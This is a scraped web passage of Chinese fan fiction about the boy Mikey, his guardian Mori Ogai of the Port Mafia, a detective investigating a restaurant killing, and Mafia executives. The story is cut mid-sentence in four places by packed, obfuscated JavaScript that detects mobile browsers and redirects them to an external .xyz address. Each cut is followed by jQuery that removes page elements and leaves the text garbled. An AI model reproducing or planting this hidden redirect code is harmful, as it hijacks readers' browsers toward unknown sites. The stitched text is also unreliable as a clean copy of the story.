d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031633|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这孩子真有意思!”箕浦还没有动作,前辈先发制人,打断了领导的问责,“你说说看吧,我们都会听的。” 虽然不知道话题为什么会跳跃到和整件事无关在自己身上,但眼前的少年是一个满脸稚气的孩子,又是间接性救了山本议员儿子的人。看在山本议员的面子上,旁观多时的警视厅领导没有反对。 他放过了凑过来的两名下属,说道:“没问题,如果能帮上忙就好了。” “谢谢,你们人真好。” 佐野万次郎真心实意地感谢了在场的大人们。他欲言又止,在心中组织了好几次语言,像是不知道怎么开口。最后,他睁着眼睛认真地看着众人,下定决心问道。 “《假面战队x》和《假面战队Doctor》,你们认为哪一部才是平成最佳作?” “……” 在场的大人们用沉默回答他。 山本翔太举手:“大哥!我认为是《假面战队x》!” “可是《假面战队Doctor》的剧情安排,变身道具的设计都更优秀,”佐野万次郎叹气,“翔太,就是因为你一直说《假面战队x》,所以我才想找别人评理,明明《假面战队Doctor》是平成第一!” “就算你是大哥,我也不会退让,《假面战队x》更好!” “小弟还是乖乖听大哥的话吧,《假面战队Doctor》更好!” 两人吵得不可开交。 他们所在的快餐店本身是占据日本市场的有名连锁快餐品牌,冲着品牌光顾的普通客人不少,而快餐的受众以年轻人居多,年轻人大部分至少都看过那么一部两部的《假面战队》。 听到他们两个吵架,有一根筋的年轻人主动过来说:“其实《假面战队黄金连者》才是真正的神作!” 佐野万次郎瞥了他一眼,没搭理他。山本翔太露出鄙视的眼神,“大哥哥,就算我那个时候没出生,也知道它是昭和时代的作品。” 年轻人诧异,“啊?我被版本抛弃了吗?” 佐野万次郎淡淡地说:“与其说是没更新版本,完全是落后于时代,成了报废品。” “怎么这样?!” “大哥哥你还是到一边去呆着吧。” 又有人凑上来,是一个比佐野万次郎大不了多少的女孩,“呐,”她说,“最新出的《假面战队peach》不是也很好吗?” 她手上的挂饰是《假面战队peach》男主角的应援物,看来是男主角的粉丝。 “新作不到最后不好评价。” 佐野万次郎持保留意见,剩下两个人都点头。 几个人七嘴八舌地讨论开来。 “我觉得这个更好。”“那个才是。”“你一点都不懂得欣赏!”“我才是受够你了!” 就在这时,一直没说话的箕浦发言了。 “别把大人当做你的玩具,Mikey君,”他扶着仿佛被人从后面敲了一闷棍,发痛的脑袋说,“玩笑就开到这里吧。” 6.首领 “我才没有这么做呢。” 佐野万次郎一副我听不懂你在说什么的样子。 箕浦皱眉,“不要装作不明白。” “我就是不明白啊,箕浦大叔真爱冤枉人。” 佐野万次郎双手叉腰背过身去,先闹起了脾气。 以往他使用这一招,身边的人就会立刻屈服了吧,但箕浦不想哄他。 “你从刚才开始一直在捣乱。” “没有。” “还故意说一些乱七八糟的话,从别人身上找乐子。” “没有。” 箕浦紧锁眉头,以锐利的目光直视他,“就算你是个孩子,也不能仗着自己年纪小,因为无聊就把大人耍得团团转。” 站在佐野万次郎身边的几个人察觉到气氛不对,停下讨论的声音,往后面缩了缩。 连最大胆的山本翔太也躲到了大哥身后,不敢看这个凶巴巴的警察。 箕浦的长相不算是有亲和力的类型,说话的声音也不怎么温柔,再加上从警校毕业后只在地域科短暂的待过两年,后面调到了刑事部门,成天和凶杀案还有罪犯打交道,整个人被染上了一股戾气。 一般的孩子被他以这种口吻教训,早就心生退意道歉了。 佐野万次郎偏偏是那个特别的,一点儿都不会退让的孩子。 他站直了身体,对上箕浦的视线。 “说的好过分啊,好像我成了十恶不赦的犯罪者。” 佐野万次郎不服气,“明明是你们这些大人主动找我搭话,没有从我这里听到想要听到的话,就开始责怪我。我一开始什么都没有做,被怀疑就算了,警察先生问我的问题我都有好好回答,但是你们还是不满意。只是说起我感兴趣的话题,你们就露出被欺负的表情,那你们大人一直跟我说我不感兴趣的话题,岂不是我一直在被欺负?到头来还要把全部的错怪到我头上,太没有道理了。” 没想到他能说出这么一番话,箕浦更新了对他的印象。 这个孩子不仅擅长捉弄大人,还会用语言颠倒黑白,维护自己无辜的形象——他的监护人到底是怎么教的?还是说佐野万次郎是自由生长成这个样子的?箕浦很想向他的家长讨教教育方式,因为他想知道问题究竟出在哪一边。 佐野万次郎看穿他的内心所想,“啊!箕浦大叔在心里想很没有礼貌的事情吧?莫非是关于我的教育问题?” 箕浦被他戳中内心的想法,一时间陷入沉默。 佐野万次郎无所谓地摆摆手,“要抱怨去找森亲,都是他教的。” 森医生知道你在背后把一切都推到他头上吗?箕浦心道。 佐野万次郎继续说:“反正不会是我的错。” ——确定了,肯定是你的错。 “森亲说我是个好孩子,在外面要保护好自己。” ——那个人真的说过这种话?绝对是你编造的吧? 箕浦怀疑地看着他。 山本议员出来打圆场,“Mikey君喜欢《假面战队》对吧?翔太也最喜欢了,经常在家里扮演里面的主角,让我和她妈妈演怪兽,但是我和他妈妈都不太了解这方面,所以给不出很好的建议。” 佐野万次郎失落地垂下头道:“好可惜。” 箕浦觉得他的“好可惜”不是“你们不了解《假面战队》没人跟我讨论”好可惜,而是“不能用这个借口在你们身上继续找乐子真无聊”好可惜。 他才想说好可惜。 可惜其他人都没有看透佐野万次郎这个孩子的真面目。 山本议员又被妻子掐了一把,他立刻说道:“当然这都是我们不好,用工作忙当借口,连儿子喜欢的东西都不了解,往后我们会去了解的,到时候一定能回答出Mikey君的问题。” 佐野万次郎满意地点点头,调转目标,“有上司感觉的警察先生,你也这么想吗?” 警视厅领导没料到话题还能转到他身上来,一时之间没接上话:“……啊?” “看来你不是这么想的,真失望。” 警视厅领导在山本议员夫妻拜托的目光中勉强说道:“我,我后面……也会去了解。” 领导都发话了,擅长读空气的前辈不用佐野万次郎点名,自己就发誓道:“我也会去!” 最后只剩下箕浦一个人苦苦支撑。 所有人都看向他,始作俑者更是脸上都带上了笑容。 对佐野万次郎有滤镜的山本一家一定把他的笑容当成了纯粹开心时才会露出的表情,只有箕浦看出那双眼睛里全是幸灾乐祸。 箕浦撇过脸,强迫自己不去在意。 事情还要继续这么发展下去吗,他在内心呼唤,有谁能来阻止这个孩子—— 就在他即将陷入绝望的关键时刻,救世主散发着光芒从天而降了。 “Mikey君,我告诉过你,不可以打扰警察先生工作,也不可以在店里乱跑,怎么不乖乖留在位置上呢?” 随着传递过来的声音,救世主朝着他们缓缓走来。他的身影在箕浦看来光芒万丈,刺眼地让人睁不开眼睛。 “森医生你从厕所回来了!”箕浦激动地说。 走到他们面前的森林太郎莫名其妙,“什么厕所?” 不小心把心里话说出来了,箕浦心虚道:“不,没什么。” 森林太郎注意到了在场的其他人,“山本小姐也在,还有翔太君,”他先问候了认识的人,接着将目光转向其他人,“这几位是……实在抱歉,我家孩子给你们添麻烦了吗?” “没这回事,Mikey君很好。”山本议员终于见到了妻子夸赞的森医生的真面目。他迎上去,递上名片,“您就是森先生对吧?我叫山本阳太,家妻和孩子承蒙您的关照。” 森林太郎接过名片,又仔细端详了一番山本议员的脸,“您莫非是……” 认出了这张非常有知名度的脸,他递出自己的名片,“没想到山本小姐口中的丈夫居然是您,失礼了,我是森林太郎。” 佐野万次郎插到他们中间,对森林太郎说:“喂,森亲。” 森林太郎没有被打断谈话的不悦,他微笑着问:“怎么了?” 佐野万次郎打了个哈欠,“我想回去,这里好无聊。” 森林太郎耐心地说:“再坚持一下,很快就能回去了。” 佐野万次郎不听,“我现在就要回去。” “困了吗?不如你先在座位上睡一会儿,”森林太郎毫不动摇,保持着微笑说,“到了可以回去的时候我会叫醒你。” 佐野万次郎点头,走向金发小女孩爱丽丝所在的位置,往长沙发形状的座位上一趴。 这么容易就搞定了,不愧能当上这孩子的监护人!拿佐野万次郎没办法,被他牵着鼻子走的成年人们佩服地看着森林太郎。 连自己儿子都搞不定的山本议员尤其佩服:“森先生果然很厉害啊!” 趁着监护人掌握了主动权,箕浦总算能松一口气。 他悄悄退到一边,保持一定距离观察起和山本议员讨论起育儿心得的森林太郎。 前辈走到他身边,顺着他的视线望去,没看懂他在观察什么。 “你又没有孩子,听这个还早了点吧。” 箕浦无语地看了他一眼。 前辈作为前辈固然经验丰富值得尊敬,可有的时候脑子容易进水。 “我是觉得他很奇怪。” 前辈问:“他?谁?山本议员?还是森医生?” 他不赞同,半开玩笑地说:“森医生有什么奇怪的,能控制住他家的那个孩子,太伟大了。” 箕浦没有说话,只是看着森林太郎。 良久之后,他说:“我怀疑杀手真正的目标,不是山本议员的儿子,是森林太郎。” 前辈被他的猜想镇住了,“你要这么想,倒也可以……”犹豫了一下又说,“有证据吗?” 箕浦转过头,“没有,这是我的直觉。” “我知道破案有时候直觉很重要,但我们警察不是靠直觉办案,要讲证据。” 前辈摸摸下巴上的胡茬,事件发生后,快餐店所有人的身份都被调查清楚,再加上对每个人进行一对一面谈,谁撒谎在警察眼里一清二楚。 “森医生的身份你也了解过,他就是一个在贫民区开着破旧诊所的普通医师,虽然会去那个诊所光顾的客人有些见不得光,但他平常不和人结怨,在邻居间的风评也很好,没有惹上麻烦的迹象。” 前辈用平静地有些残酷的声音说:“与之相反的是,山本议员三天前在会议上否决了一项提案,触及到另一个派系的利益。会议解散后,他驾车回家,在路上遇到了车祸。幸好坐在驾驶位的是他的秘书,他因为想起要给儿子买礼物临时下了车,因此逃过一劫。他的秘书就没那么幸运,当场被大货车碾成了肉泥。正因为遇到了这种事,山本议员现在到哪里都带着一群保镖。” 也是因为这个原因,从警方那里得到妻子和孩子卷入杀人事件的消息,山本议员才会不管不顾地闯入已被警方封锁的事发现场。 他在害怕。 害怕他的家人迎来和秘书一样的死亡结局。 “山本议员得罪的人查出了他妻儿的信息,怀恨在心报复在他的家人身上,这就是正确答案。” 前辈恢复了平常的不着调,“在找到那个杀人凶手,从他身上得到真相之前,警方的高层会把这个当做唯一的答案。总不能让山本议员失去了一个得力的助手,又失去妻子或者是孩子吧。” 箕浦不想放弃,“但实际上,这不是唯一的答案。” “不要想太多比较好。”前辈拍他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046096|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的肩膀,说道:“既然你有别的想法,那加油吧。” 现场的调查完成了,杀人者是外部人员,把快餐店的无关民众困着也不太好。 店外的围观人群中有人把看到山本议员的消息传播了出去,外面聚集的人越来越多,还有记者举着相机不顾警察的阻拦高声对店里的山本议员提问。 有名人参与普通的案件会引起巨大的舆论事故,人数再增加下去,迟早有记者为了明天的头条新闻冲进来。 警视厅领导和山本议员商量,让他从快餐店的后门离开。 山本议员同意了他的建议。 山本翔太不想和大哥分开,委屈地要掉眼泪。他的母亲捂住他的嘴,把他夹在胳膊里,率先跟着引路的快餐店侍应生往后门走。 想起恩人一家,她走到一半停了下来,转头问:“森先生打算怎么回去,不然跟着我们走,先送你们回家吧?” 森林太郎礼貌地拒绝了她,目送他们一家走进后厨,快餐店的后门在厨房里。 店里的人群散去,门口守着的记者没发现山本议员,于是抓着店里的客人问他们具体情况,多数客人都回答不出来,外面乱糟糟的。 森林太郎推醒了睡着的佐野万次郎,一只手牵着他,另一只手牵着满脸不耐烦的爱丽丝。他站在门口,思考要用怎样的方式回去。 箕浦走出来说:“不介意的话我送你们。” 森林太郎下意识拒绝,“那怎么好意思。” 箕浦从后辈那里拿过车钥匙,“本来就是我们耽误了你的时间,没关系,就让我来送吧。” 话说到这个份上,森林太郎没再拒绝。 箕浦主动提出要送他们,是想再试图从他们身上找出破绽。 他们一起上了车,森林太郎坐上了副驾驶,两个孩子坐在后排。 佐野万次郎没有睡醒,一上车就靠着爱丽丝又闭上了眼睛。 长得像洋娃娃的金发小女孩支撑着他的身体,眼睛看向窗外的风景。 箕浦从后视镜里看到了一切,森林太郎注意到他的视线,笑了笑说:“我家孩子一吃完饭就犯困,请不要在意。” “这样没关系吗?”箕浦惊讶他对孩子也太包容了。 森林太郎微笑,“我和Mikey君的家人达成了共识,不拘束这孩子,他想做什么就做什么。” 箕浦说:“好……自由。” 森林太郎笑而不语。 真的很奇怪啊,这一家人,一般人家里会这么教育孩子吗?箕浦一半的心思控制着方向盘,另一半的心思在想该怎么试探身边的男人。 “森医生,”他假装不经意地问,“你说你上过战场?” 森林太郎微微颔首,不太愿意提这件事,“我没有上过前线,只是担任部队的军医。” “战争结束之后,你就回到横滨了吗?” “对,原先考虑过去医院就职,但是在医院工作不方便照顾孩子,所以自己开了间诊所。” “照顾两个孩子很不方便吧?” 森林太郎轻笑了一声,说道:“箕浦警官,我家这两个孩子实际上很懂事哦。” 箕浦没看出来。 他想继续提问,车内突然响起铃声,是他放在上衣外套里的手机在响。 箕浦开车不方便接听电话,不知道是谁打来的,又不能公放给森林太郎听。他想不管这个电话,无人接听的语音信箱播放完,半分钟后,手机又响了。 “还是接一下吧,万一有急事呢?”副驾驶的森林太郎说。 箕浦把车停在路边,拿出手机,电话是前辈打来的。 前辈在电话那头对他说,搜查快餐店橱窗正对着的那栋大厦,从消防井里找到了一具男性尸体,很有可能是杀害快餐店内男顾客的凶手,让他赶紧回来。 挂断电话,箕浦深吸了一口气。 森林太郎好奇地问:“发生了什么事吗?” “是,稍微遇到了点急事,”箕浦冲他道歉,“森医生,说好要送你们回去,大概没办法做到了,实在抱歉。” “箕浦警官不必在意,”森林太郎体贴地说,“工作比较重要,我们可以自己回去。” 错过了打探消息的机会,箕浦也很懊恼,但是没办法,另一边的进展更大,他肯定要过去。 再三向森林太郎道歉,送他们到车站,箕浦才驾车离开。 森林太郎看着汇入车流的警车,直到它消失在视线中,才隐去了脸上的笑容。 佐野万次郎声音中带着困意,他揉了揉眼睛,对监护人说道:“森亲,接下来去干嘛?” 经营着诊所独自抚养着两个孩子的普通医生森林太郎、不、一年前登上非法组织首领位置的港口黑手党现任boss森鸥外,低下头看着他,微笑着说:“我们打车回家吧。” 7.发饰 佐野万次郎披散着长到肩膀的头发,坐在办公桌对面的椅子上。 所在的房间是某个人的办公室。 棕色的木地板铺着带花纹的地毯,门口的架子放着造型典雅的花瓶,办公桌上没有文件,而是放着一整套茶具。他的目光移向房间的窗户,清晨的阳光透过玻璃洒进房间,浅色的窗帘用束带扎起在了两边,窗户边摆着精心打理的盆栽,细长的叶片,蓝色的形状比较小的花朵,在阳光下开放地很有精神。 佐野万次郎不知道这种花的名字,他对花也不感兴趣,但到了这个时候,除了欣赏花也没什么可以做的了。 他的面前是背对着他在后面柜子的抽屉里找着东西的和服女性。 佐野万次郎抓起桌上的茶杯观察了半天,又拿起架子上的花瓶往里面看,然后把盆栽的每一朵花都数了一遍,闻它们有没有味道。终于,他再也忍受不了,把盆栽放回窗台,对着和服女性开口道。 “我说,大姐——” “不要叫我大姐,对女性来说很不礼貌,”和服女性立刻回答,“在外面也不能这么喊其他的女孩子,平白无故被叫老几岁,是你也会不开心的吧,万次郎?” 佐野万次郎将头往后仰,原本四脚着地的椅子翘了起来,只有后两个椅腿在支撑着平衡,“我倒是无所谓哦,不管是被叫大哥还是叫大叔,把我当成小孩子才会让我不高兴。” 和服女性没有回头,继续在别的抽屉里翻找,“男孩子有可能就是这样的吧,特别是你这种正值青春期的男孩子,”她警告道,“不过不要太得意,不好好珍惜作为孩子的时间,一转眼就会发现自己变成了不修边幅的大叔,到那个时候再后悔已经晚了。” 佐野万次郎的腿在空中晃来晃去,他问:“比如,像森亲那样?” “鸥外阁下吗?”和服女性忍不住笑出声,“谁知道呢?” 翘起来的凳子仅靠两条腿稳稳地立在地面,坐在上面的佐野万次郎重心往一边偏移,试图只靠一条腿来支撑。 “森亲很在意被别人叫大叔,明明已经到了大叔的年龄,可是走在外面被女国中生叫大叔,他表面上装作若无其事,背地里拉住我哭了半天。”他一边努力一边说,“难道长大了都会变成像森亲那样的大人,那我还是不要长大好了。” “不许乱说。” 和服女性突然转过身,瞪了佐野万次郎一眼,“你这样的小鬼,能平安长大是需要感谢上天的事,不要随便说些诅咒自己的话,就算是开玩笑也不行。” 佐野万次郎鲜少听到她用严肃的语气教训自己。 他歪头,乖乖道歉,“对不起,大姐。” 收到他的道歉,和服女性这才转身,走向了另一边的书柜。 和服女性是佐野万次郎监护人森鸥外的下属。 监护人一年前接手了庞大的地下组织,成为站在组织顶点的人。为了支撑起落到他手中庞大组织的正常运转,他有许多要学习的东西,每天都很忙碌。 没空带孩子的时候,监护人就会把佐野万次郎随机托付给一个下属照料。 佐野万次郎本人倒不认为他需要谁来照顾,毕竟他又不是小学生,上下学过马路要同班同学的家长轮班护送。不用大人跟着,他自己就能照顾好自己。 监护人不这么认为,他坚信佐野万次郎一定得有一个人看着,不然就会出事。 佐野万次郎不知道他是不是因为工作压力过大所以老是产生奇怪的妄想。 和服女性就是一开始经常被安排到帮监护人带孩子的人选,也是监护人掌管的这个组织——港口黑手党的五大干部之一。 她的名字是尾崎红叶。 尾崎红叶是一个对待孩子很温柔的人,面对不让人省心,总是被人说任性的佐野万次郎也不会露出不耐烦的表情。 佐野万次郎很喜欢她,但有时也会觉得她难以理解。 就比如现在。 坐在一条凳腿支撑的凳子上,比起玩耍已经更像是杂耍。佐野万次郎的身体在半空中晃晃悠悠,差不多腻了,于是他放过凳子,让它回归四脚着地的状态。 尾崎红叶从书柜的最后一个抽屉里找出了想找的东西,她把那些东西拿出来,移开办公桌上的茶具,再把好不容易找出来的东西都放在上面,展示给佐野万次郎看。 佐野万次郎的目光顺着桌子的一边挨个看过去。 红色的丝带、各种形状的发夹、造型夸张的大蝴蝶结头箍、花朵的头饰…… 都是什么啊? “这都是我以前买的,现在再用有点不合适了,”尾崎红叶拿起其中一个发饰,在佐野万次郎头上比了比,“十几岁的女孩子比较适合戴这些,我想以后要是有年纪小的女孩子到我身边来,就可以拿这些东西给她打扮,很可爱吧?” “很可爱,大姐现在也是年轻的女孩子,戴这些很合适,”佐野万次郎避开她的手,“今天想换别的发型吗?” 尾崎红叶用袖子掩住唇边的笑,“万次郎还真是会说好听的话,不过不是哦。”她说,“我如今是港口黑手党的干部,在下属面前需要保持威严,少女的打扮怎么想都行不通。” 佐野万次郎顿感不妙,“那找出这些头饰是要给谁用?” 尾崎红叶放下了遮掩唇角的袖子,笑容楚楚动人。 “虽然万次郎这么问,其实知道的吧。” 佐野万次郎从椅子上跳起来,往门口跑。 尾崎红叶有先见之明地提前一步挡在了门口。 “大姐!” 佐野万次郎喊道。 尾崎红叶脸上依旧带着笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061779|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“撒娇是没用的哦,万次郎。”她慢慢靠近,“我会把你变得很可爱,你就放心吧。” 佐野万次郎和她拉开距离,边退边说:“男人变得可爱是要怎样?” 尾崎红叶从袖中取出早已准备好的梳子,“万次郎,这样说是不对的,没人规定男人就不能可爱。” “但是我不是追求可爱的男人,”佐野万次郎建议道,“大姐,不如你把这些东西送给森亲吧,让他年轻几岁。” 尾崎红叶笑着说:“鸥外阁下听到你这么说一定会很感动,我会考虑的,但是今天先优先你。” “我不需要!” 佐野万次郎退到了墙边,后背抵着墙,没有路可以走。 他看向前方越来越近的尾崎红叶,总算知道她一大早把自己叫来办公室打的是什么主意。 佐野万次郎不会做家事。 不管是做饭、打扫还是洗衣服,他都没有做过。以前在家家里人会做,后来到监护人身边监护人会请人来做。 被人照顾惯了,他的自理能力极低。 留头发是一时心血来潮,头发是留起来了,可佐野万次郎连家事都不会做,当然也没办法把头发绑好。 他的头发没那么长的时候是监护人帮他打理,后来监护人工作忙,头发也长到及肩的位置,他的助手到了他的身边,头发一直是那个人每天早上来他家帮他梳起来。 这几天助手被监护人安排到外地出差,没人帮他梳头发。 前天他自己把头发梳顺了,就这么披散着出的门,但是刘海太长了老是遮住他的眼睛。昨天去快餐厅吃饭,临近出门前监护人看不过去帮他绑了一下。 尾崎红叶一定是发现了这一点,所以才想到可以帮他打理头发,顺便满足自己的爱好。 佐野万次郎后悔毫无防备走进了这间办公室。 尾崎红叶左手拿着梳子,右手拿着一条红色的缎带。 “长着一张可爱的脸,不好好打扮多浪费。万次郎,快过来吧。” 她脸上带着温柔的笑容,嘴里吐出的却是佐野万次郎最不愿意听到的话。 一旦顺从了她,被人看见了,自己在港口黑手党的颜面何存。 佐野万次郎寻找着逃跑的机会。 他被尾崎红叶逼到角落,假意顺从,坐回了椅子上,任由尾崎红叶拿着梳子轻轻梳理他的头发。 她先是拿红色的缎带在佐野万次郎头发上系了一个蝴蝶结,觉得不太合适,又扯松了缎带,低头在桌子上找有没有更合适的发饰。 趁着她在桌子上挑选发饰的空隙,佐野万次郎踩上桌面借力,轻松一个翻身跳到了门口。 “大姐,那些东西还是留着你自己戴吧!” 没有回头地丢下这句话,他打开办公室的门冲了出去。 8.干部 昨天下午从快餐店回来之后就扑进工作里,只在清晨太阳升起前短暂地趴在办公桌上小憩了一会的森鸥外,喝完一杯咖啡,正打起精神接见刚刚从海外回来,第一时间便赶来见他的下属。 站在他对面的下属穿着一身褪色的军装,袖口、下摆和肩膀处都有一眼就能发现的破损,虽然是在一般人眼里实在穿不出去的破旧衣服,穿在男人的身上却很合适,让人感觉他就应该穿成这样。 虽然是个上了年纪的男人,可他看起来并不瘦弱,被衣服包裹住的地方能明显地看出肌肉的痕迹,裸露在外的手臂也很壮硕。 和眼睛底下带着青黑,一看就睡眠不足的森鸥外相比,搭乘夜晚的航班,今天一早才降落在日本领土上的男人精力显然更充足。 他抱着手臂,说话的声音也很洪亮,“森医生、不,boss,好久不见,你看起来比我离开前憔悴了不少啊。” “不要打趣我了,大佐先生,”森鸥外微笑着说,“您倒是和上次见面时一样有精神。” 男人豪迈地笑笑,开玩笑道:“大叔我也上了年纪,精神不比从前,现在喝一晚上酒第二天就头痛得半死。” 森鸥外也笑笑,“换了谁宿醉一晚,第二天都会头痛的。” “年轻的时候我能和那些老朋友喝上三天三夜,直到他们都趴在地上,对着水沟呕吐说再也喝不下,酒局才算散场。”男人提起过去的趣事,“他们喝完连裤子都提不上,更别说拿枪,可大叔我的脑子清醒得很,还可以给步枪装子弹。” 森鸥外顺着他的话往下说:“请您现在千万别做这种事,喝完酒拿枪手会抖。” “又说这样的话,男人偶尔需要大醉一场才能忘掉内心的烦恼啊,不然把所有事都憋在心里,迟早有一天会受不了的哦。”男人发出邀请,“下次一起参加酒会吧,boss。” 森鸥外保持着笑容:“有机会的话我会参加。” 他的脸上在笑,实际上内心一片冰冷。 站在他正前方的男人是港口黑手党的现任干部。名字据他所说已经忘掉了,组织里的人都称呼他为“大佐”。 港口黑手党有一条铁律,那就是“必须服从首领的命令”。 森鸥外身为港口黑手党的首领,是这个男人的顶头上司。 他本应以更轻松的态度和男人见面。 不过很可惜的是,森鸥外只是一个一年前坐上首领位置的新手领导。 被资历深的下属轻视是常有的事。 前代首领因病死亡,森鸥外接过他的位置时,大佐正在非洲某个小国家出差。 因为当地通讯不便,联络上他的时候,距离首领换位已经过去了两个月。 大佐和前代首领相识多年,感情颇深,他是前代首领一手提拔起来的干部。 两人因前代首领晚年患病太过于残暴起过争执,不止吵了一次架,大佐出于这个原因自请调去海外分部,原本的关系随之破裂。 至少在不了解内情的外人眼里是这样的。 可摸不清楚他的态度,森鸥外还是故意拖延了通知他的时间,等到一切尘埃落定,才把前代首领已死的消息递到他手上。 森鸥外面带笑容地看着眼前的男人,深红色的眼睛有一瞬间暗了下来。 出乎所有人意料的是,大佐在得知消息后,没有做出剧烈的反应,也没有马上搭乘飞机回日本。 他给森鸥外写了一封信,夹杂大量的繁文缛节,有不少话都不像是平常的他能说出来的。 信中的他对不能立刻回国见新任首领表达了歉意,汇报了在海外的工作进度,又说前任首领病逝他很遗憾。全篇一个字没提森鸥外怎么当上的首领,没有质问森鸥外的位置是不是来路不正。 对比一听到前任首领留下遗言让森鸥外继承位置就破口大骂的其他前代派来说,大佐礼貌地实在是太让人感动。 森鸥外看到信都想掉眼泪。 不过可能吗?一个曾经忠心于前代首领,作为前代首领私人医生的森鸥外熟识的干部,对毫无征兆的首领更替没有任何别的想法? 如果不是必要,森鸥外还不想动前代时期的干部,他们每一个人都是组织的根基,拔除掉势必会引起一场动荡。 森鸥外坐在高处,本身就摇摇欲坠,他还不想让堆砌起来的沙堡坍塌。 再者,大佐是组织的旧人,在港口黑手党里簇拥者众多,就算要动那些干部,从他入手也不是最好的选择。 森鸥外带着怀疑和他见面,大佐的表现目前为止都很正常,玩笑时的口吻也跟以前没有差别。 他是真的不在意,还是掩饰得很好? 港口黑手党潜藏在暗处的前代派就像蟑螂一样,无论怎么打都打不完。对最终是森鸥外这个仅仅是首领的私人医生,相当于“外人”的家伙登上首领位置而不满的人多得数也数不清。主动跳出来的人好处理,隐藏着心思装模作样的人实在难办。 本来外部就一大堆问题,敌对组织三番两次挑衅,谈好的生意被毁约,存放武器的仓库炸了一个……森鸥外每天熬夜处理工作都要掉一大把头发,还得防着来自自己人的背后一刀,首领当得实在太辛苦。 背地里心思百转千回,表面上笑容热情,大佐和他说起海外工作遇到的趣事,森鸥外认真地听着,时不时提出几个问题。 他们两个聊得正开心,办公室的门突然开了。 森鸥外看向门口。 今天要和大佐见面,他吩咐过下属告诉门口的守卫不要放人进来。 就算有再要紧的事,也得提前通报,谁会不顾首领命令闯进首领办公室? 办公室的光线比较昏暗,外面没有遮挡,反而比较亮。 逆着光走进房间的是一名浅金色头发的少年。 还没有踩到房间里的地毯,他在门外就嚷嚷了起来,气愤的声音传进房间里。 “森亲,你听我说,大姐她……!” 发现房间里不止森鸥外一个人,他的目光落在大佐身上,话说到一半停住了。 大佐冲他笑得爽朗,“怎么了,小子,才一年不见就不认识我了?” 佐野万次郎眨了眨眼睛,确定不是幻觉,“老爷子?!你从国外回来了!” “你这孩子,怎么还是叫‘老爷子’,大叔我跟你年龄还没差出两代吧,”大佐走过去,不满地戳他的额头,“叫大叔就好了啊!” “老爷子你怎么也这么在意年龄,你又不是大姐,大姐可是女孩子,”佐野万次郎被他戳的头一点一点,“而且叫你大叔不是对森亲太失礼了吗?” 大佐敲他的头,“胡说什么呢你个臭小子!” 佐野万次郎躲开,求助一旁的森鸥外,“老爷子真是的,刚回来就生气……森亲你说我说得对不对?” 森鸥外扶着额头,说:“Mikey君,不要把我拉进你们的战争。” 守卫没有拦住,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16071378|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢阻拦的人是友人托付给森鸥外照顾的孩子,森鸥外目前担任他的监护人。 那个孩子的名字是佐野万次郎。 佐野万次郎是一个相当任性自我,破坏力超强,让周围的大人对他都很头疼的孩子。 同时他也是一个容易受到他人喜爱的孩子。 森鸥外曾经是前代首领的私人医生,打着为首领检查身体的旗号,他被允许随意进出港口黑手党的大楼。 担心把佐野万次郎一个人留在家里会出意外,去港口黑手党本部给前代首领检查身体时,他都会带上这个孩子。 佐野万次郎就是在这个时候认识的大佐,并且在森鸥外看不到的地方,他和大佐的关系突飞猛进,一下子变得特别好。 森鸥外好奇问过他是怎么和大佐搞好关系的,佐野万次郎只说是秘密,叫他不要好奇窥探孩子的隐私。 孩子长大了有秘密就是这样的吧。 森鸥外一方面乐于看到他们两个关系好,毕竟佐野万次郎是他这边的人。有他在中间充当高速公路的缓冲路段,森鸥外和大佐不至于像两辆失控的汽车那样撞在一起,关系迅速恶化。 另一方面,看着自家孩子那么亲近别人,他的内心又有点寂寞。 佐野万次郎愤愤不平的对着监护人和大佐说完刚才发生的事,让他们两个评评理。 “大姐很过分吧!” 大佐点头,用哄孩子的语气说:“小姑娘是很过分,放心吧,等会大叔我好好说她,叫她下次不许这样做。” 佐野万次郎看着他的脸,吐出几个字:“干嘛用哄小孩的语气说话。” 大佐说:“你多想了。” “……”佐野万次郎转头问森鸥外,“森亲,你说呢?” 森鸥外用手撑着头在走神,佐野万次郎拿手在他眼前晃了几下,他才回过神,连连点头:“Mikey君,你说得对。” 佐野万次郎怀疑地盯着他的眼睛。 